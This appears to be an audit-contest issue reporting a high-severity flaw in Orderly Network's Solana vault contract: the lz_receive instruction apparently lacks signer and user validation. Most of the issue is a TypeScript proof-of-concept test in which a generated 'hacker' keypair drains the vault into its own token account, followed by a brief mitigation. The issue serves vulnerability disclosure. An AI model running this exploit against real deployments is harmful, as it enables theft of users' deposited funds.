sherlock-audit / 2024-09-orderly-network-solana-contract-judging

0 stars 0 forks source link

Immense Rouge Goose - Any One Can Withdraw from the Vault When It has funds #78

Open sherlock-admin2 opened 4 days ago

sherlock-admin2 commented 4 days ago

Immense Rouge Goose

High

Any One Can Withdraw from the Vault When It has funds

Summary

The lz_receive instruction allows anyone to be able to withdraw from the vault

Root Cause

There are no validations on the either the user_acccount or the signer

Internal pre-conditions

Exploit is Possible whenever there are funds present in the vault.

External pre-conditions

No response

Attack Path

No response

Impact

This gives any unpriviledged party access to the funds in the vault at any point in time.

PoC

Add

let vault_balance_before = vaultBalance;
const hacker = await Keypair.generate();
await provider.connection.confirmTransaction(await provider.connection.requestAirdrop(hacker.publicKey, 10 * LAMPORTS_PER_SOL), "confirmed");

const hackerTokenAccount = await getAssociatedTokenAddressSync(USDC_MINT, hacker.publicKey, true, TOKEN_PROGRAM_ID);
await createAccount( // creates hacker token account
    provider.connection,
    hacker,
    USDC_MINT,
    hacker.publicKey,
    undefined,
    undefined,
    TOKEN_PROGRAM_ID
);
let hacker_balance_before = await getTokenBalance(provider.connection, hackerTokenAccount);

await program.methods
    .lzReceive({
        srcEid: ETHEREUM_EID,
        sender: Array.from(wallet.publicKey.toBytes()),
        nonce: new BN('1'),
        guid: guid,
        message: message,
        extraData: Buffer.from([])
    })
    .accounts({
        payer: hacker.publicKey,
        oappConfig: oappPda,
        peer: peerPda,
        user: hacker.publicKey,
        userDepositWallet: hackerTokenAccount,
        vaultDepositWallet: vaultDepositWallet.address,
        depositToken: USDC_MINT,
        tokenProgram: TOKEN_PROGRAM_ID,
        vaultAuthority: vaultAuthorityPda
    })
    .remainingAccounts([
        {
            pubkey: endpointProgram.programId,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: oappPda, // signer and receiver
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: oappRegistryPda,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: noncePda,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: payloadHashPda,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: endpointPda,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: eventAuthorityPda,
            isWritable: true,
            isSigner: false,
        },
        {
            pubkey: endpointProgram.programId,
            isWritable: true,
            isSigner: false,
        },
    ])
    .signers([hacker])
    .rpc(confirmOptions)
let hacker_balance_after = await getTokenBalance(provider.connection, hackerTokenAccount);

// Check balance after lzReceive
vaultBalance = await getTokenBalance(provider.connection, vaultDepositWallet.address)
assert.equal(vaultBalance, 100, "Vault successfully drained by hacker(excluding fee)")

const hackerBalance = await getTokenBalance(provider.connection, hackerTokenAccount)
assert.equal(hacker_balance_after - hacker_balance_before, vault_balance_before - 100, "Hacker Wallet Succesfully received funds")

to lzReceive test suite

Mitigation

Validate Signer or User when lz_receive is called